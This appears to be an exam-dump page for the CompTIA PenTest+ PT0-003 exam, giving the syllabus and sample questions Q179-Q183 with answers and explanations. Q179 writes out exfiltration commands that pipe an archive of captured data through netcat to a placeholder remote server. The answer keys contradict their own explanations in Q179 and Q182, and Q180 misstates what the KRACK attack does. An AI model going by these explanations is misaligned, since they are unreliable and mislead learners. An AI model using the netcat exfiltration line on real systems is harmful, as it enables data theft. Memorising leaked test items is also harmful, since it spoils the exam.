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CompTIA PT0-003 Exam Syllabus Topics:

Topic	Details
Topic 1	• Engagement Management: In this topic, cybersecurity analysts learn about pre-engagement activities, collaboration, and communication in a penetration testing environment. The topic covers testing frameworks, methodologies, and penetration test reports. It also explains how to analyze findings and recommend remediation effectively within reports, crucial for real-world testing scenarios.
Topic 2	• Vulnerability Discovery and Analysis: In this section, cybersecurity analysts will learn various techniques to discover vulnerabilities. Analysts will also analyze data from reconnaissance, scanning, and enumeration phases to identify threats. Additionally, it covers physical security concepts, enabling analysts to understand security gaps beyond just the digital landscape.
Topic 3	• Post-exploitation and Lateral Movement: Cybersecurity analysts will gain skills in establishing and maintaining persistence within a system. This topic also covers lateral movement within an environment and introduces concepts of staging and exfiltration. Lastly, it highlights cleanup and restoration activities, ensuring analysts understand the post-exploitation phase's responsibilities.

Topic 4	• Attacks and Exploits: This extensive topic trains cybersecurity analysts to analyze data and prioritize attacks. Analysts will learn how to conduct network, authentication, host-based, web application, cloud, wireless, and social engineering attacks using appropriate tools. Understanding specialized systems and automating attacks with scripting will also be emphasized.
Topic 5	• Reconnaissance and Enumeration: This topic focuses on applying information gathering and enumeration techniques. Cybersecurity analysts will learn how to modify scripts for reconnaissance and enumeration purposes. They will also understand which tools to use for these stages, essential for gathering crucial information before performing deeper penetration tests.

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CompTIA PenTest+ Exam Sample Questions (Q179-Q184):

NEW QUESTION # 179
A tester enumerated a firewall policy and now needs to stage and exfiltrate data captured from the engagement. Given the following firewall policy:
Action | SRC
| DEST
| --
Block | 192.168.10.0/24 : 1-65535 | 10.0.0.0/24 : 22 | TCP
Allow | 0.0.0.0/0 : 1-65535 | 192.168.10.0/24:443 | TCP
Allow | 192.168.10.0/24 : 1-65535 | 0.0.0.0/0:443 | TCP
Block | . | . | *
Which of the following commands should the tester try next?

- A. gzip /path/to/data && nc -nvlk 443; cat data.gz ' nc -w 3 <remote_server> 22
- B. tar -zcvf /tmp/data.tar.gz /path/to/data && nc -w 3 <remote_server> 443 < /tmp/data.tar.gz
- C. tar -zcvf /tmp/data.tar.gz /path/to/data && scp /tmp/data.tar.gz <remote_server>
- D. gzip /path/to/data && cp data.gz <remote_server> 443

Answer: B

Explanation:
Given the firewall policy, let's analyze the commands provided and determine which one is suitable for exfiltrating data through the allowed network traffic. The firewall policy rules are:
* Block: Any traffic from 192.168.10.0/24 to 10.0.0.0/24 on port 22 (TCP).
* Allow: All traffic (0.0.0.0/0) to 192.168.10.0/24 on port 443 (TCP).
* Allow: Traffic from 192.168.10.0/24 to anywhere on port 443 (TCP).
* Block: All other traffic (*).
Breakdown of Options:
* Option A: tar -zcvf /tmp/data.tar.gz /path/to/data && nc -w 3 <remote_server> 443 < /tmp/data.tar.gz
* This command compresses the data into a tar.gz file and uses nc (netcat) to send it to a remote server on port 443.
* Since the firewall allows outbound connections on port 443 (both within and outside the subnet 192.168.10.0/24), this command adheres to the policy and is the correct choice.
* Option B: gzip /path/to/data && cp data.gz <remote_server> 443
* This command compresses the data but attempts to copy it directly to a server, which is not a valid command. The cp command does not support network operations in this manner.
* Option C: gzip /path/to/data && nc -nvlk 443; cat data.gz | nc -w 3 <remote_server> 22
* This command attempts to listen on port 443 and then send data over port 22. However, outbound connections to port 22 are

blocked by the firewall, making this command invalid.
* Option D: tar -zcvf /tmp/data.tar.gz /path/to/data && scp /tmp/data.tar.gz <remote_server>
* This command uses scp to copy the file, which typically uses port 22 for SSH. Since the firewall blocks port 22, this command will not work.
References from Pentest:
* Gobox HTB: The Gobox write-up emphasizes the use of proper enumeration and leveraging allowed services for exfiltration. Specifically, using tools like nc for data transfer over allowed ports, similar to the method in Option A.
* Forge HTB: This write-up also illustrates how to handle firewall restrictions by exfiltrating data through allowed ports and protocols, emphasizing understanding firewall rules and using appropriate commands like curl and nc.
* Horizontall HTB: Highlights the importance of using allowed services and ports for data exfiltration.
The approach taken in Option A aligns with the techniques used in these practical scenarios where nc is used over an allowed port.

NEW QUESTION # 180
During an engagement, a penetration tester needs to break the key for the Wi-Fi network that uses WPA2 encryption. Which of the following attacks would accomplish this objective?

- A. ChopChop
- B. Initialization vector
- C. KRACK
- D. Replay

Answer: C

Explanation:
To break the key for a Wi-Fi network that uses WPA2 encryption, the penetration tester should use the KRACK (Key Reinstallation Attack) attack.
Explanation:
* KRACK (Key Reinstallation Attack):
* Definition: KRACK is a vulnerability in the WPA2 protocol that allows attackers to decrypt and potentially inject packets into a Wi-Fi network by manipulating and replaying cryptographic handshake messages.
* Impact: This attack exploits flaws in the WPA2 handshake process, allowing an attacker to break the encryption and gain access to the network.
* Other Attacks:
* ChopChop: Targets WEP encryption, not WPA2.
* Replay: Involves capturing and replaying packets to create effects such as duplicating transactions; it does not break WPA2 encryption.
* Initialization Vector (IV): Related to weaknesses in WEP, not WPA2.
Pentest References:
* Wireless Security: Understanding vulnerabilities in Wi-Fi encryption protocols, such as WPA2, and how they can be exploited.
* KRACK Attack: A significant vulnerability in WPA2 that requires specific techniques to exploit.
By using the KRACK attack, the penetration tester can break WPA2 encryption and gain unauthorized access to the Wi-Fi network.
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NEW QUESTION # 181
A company conducted a simulated phishing attack by sending its employees emails that included a link to a site that mimicked the corporate SSO portal. Eighty percent of the employees who received the email clicked the link and provided their corporate credentials on the fake site. Which of the following recommendations would BEST address this situation?

- A. Implement a recurring cybersecurity awareness education program for all users.
- B. Restrict employees from web navigation by defining a list of unapproved sites in the corporate proxy.
- C. Implement multifactor authentication on all corporate applications.
- D. Implement an email security gateway to block spam and malware from email communications.

Answer: A

Explanation:
The simulated phishing attack showed that most of the employees were not able to recognize or avoid a common social engineering

technique that could compromise their corporate credentials and expose sensitive data or systems. The best way to address this situation is to implement a recurring cybersecurity awareness education program for all users that covers topics such as phishing, password security, data protection, and incident reporting. This will help raise the level of security awareness and reduce the risk of falling victim to phishing attacks in the future. The other options are not as effective or feasible as educating users about phishing prevention techniques.
Reference: https://resources.infosecinstitute.com/topic/top-9-free-phishing-simulators/

NEW QUESTION # 182
As part of a security audit, a penetration tester finds an internal application that accepts unexpected user inputs, leading to the execution of arbitrary commands. Which of the following techniques would the penetration tester most likely use to access the sensitive data?

- A. Brute-force attack
- B. Cross-site scripting
- C. SQL injection
- D. Logic bomb

Answer: C

Explanation:
SQL injection (SQLi) is a technique that allows attackers to manipulate SQL queries to execute arbitrary commands on a database. It is one of the most common and effective methods for accessing sensitive data in internal applications that accept unexpected user inputs. Here's why option B is the most likely technique:
* Arbitrary Command Execution: The question specifies that the internal application accepts unexpected user inputs leading to arbitrary command execution. SQL injection fits this description as it exploits vulnerabilities in the application's input handling to execute unintended SQL commands on the database.
* Data Access: SQL injection can be used to extract sensitive data from the database, modify or delete records, and perform administrative operations on the database server. This makes it a powerful technique for accessing sensitive information.
* Common Vulnerability: SQL injection is a well-known and frequently exploited vulnerability in web applications, making it a likely technique that a penetration tester would use to exploit input handling issues in an internal application.
References from Pentest:
* Luke HTB: This write-up demonstrates how SQL injection was used to exploit an internal application and access sensitive data. It highlights the process of identifying and leveraging SQL injection vulnerabilities to achieve data extraction.
* Writeup HTB: Describes how SQL injection was utilized to gain access to user credentials and further exploit the application. This example aligns with the scenario of using SQL injection to execute arbitrary commands and access sensitive data.
Conclusion:
Given the nature of the vulnerability described (accepting unexpected user inputs leading to arbitrary command execution), SQL injection is the most appropriate and likely technique that the penetration tester would use to access sensitive data. This method directly targets the input handling mechanism to manipulate SQL queries, making it the best choice.

NEW QUESTION # 183
A penetration tester needs to test a very large number of URLs for public access. Given the following code snippet:
1 import requests
2 import pathlib
4 for url in pathlib.Path("urls.txt").read_text().split("\n"):
5 response = requests.get(url)
6 if response.status == 401:
7 print("URL accessible")
Which of the following changes is required?

- A. The condition on line 6
- B. The method on line 5
- C. The import on line 1
- D. The delimiter in line 3

Answer: A

Explanation:
Script Analysis:

Line 1: import requests - Imports the requests library to handle HTTP requests.
Line 2: import pathlib - Imports the pathlib library to handle file paths.
Line 4: for url in pathlib.Path("urls.txt").read_text().split("\n"): - Reads the urls.txt file, splits its contents by newline, and iterates over each URL.
Line 5: response = requests.get(url) - Sends a GET request to the URL and stores the response.
Line 6: if response.status == 401: - Checks if the response status code is 401 (Unauthorized).
Line 7: print("URL accessible") - Prints a message indicating the URL is accessible.
Error Identification:
The condition if response.status == 401: is incorrect for determining if a URL is publicly accessible. A 401 status code indicates that the resource requires authentication.
Correct Condition:
The correct condition should check for a 200 status code, which indicates that the request was successful and the resource is accessible.
Corrected Script:
Replace if response.status == 401: with if response.status_code == 200: to correctly identify publicly accessible URLs.

NEW QUESTION # 184
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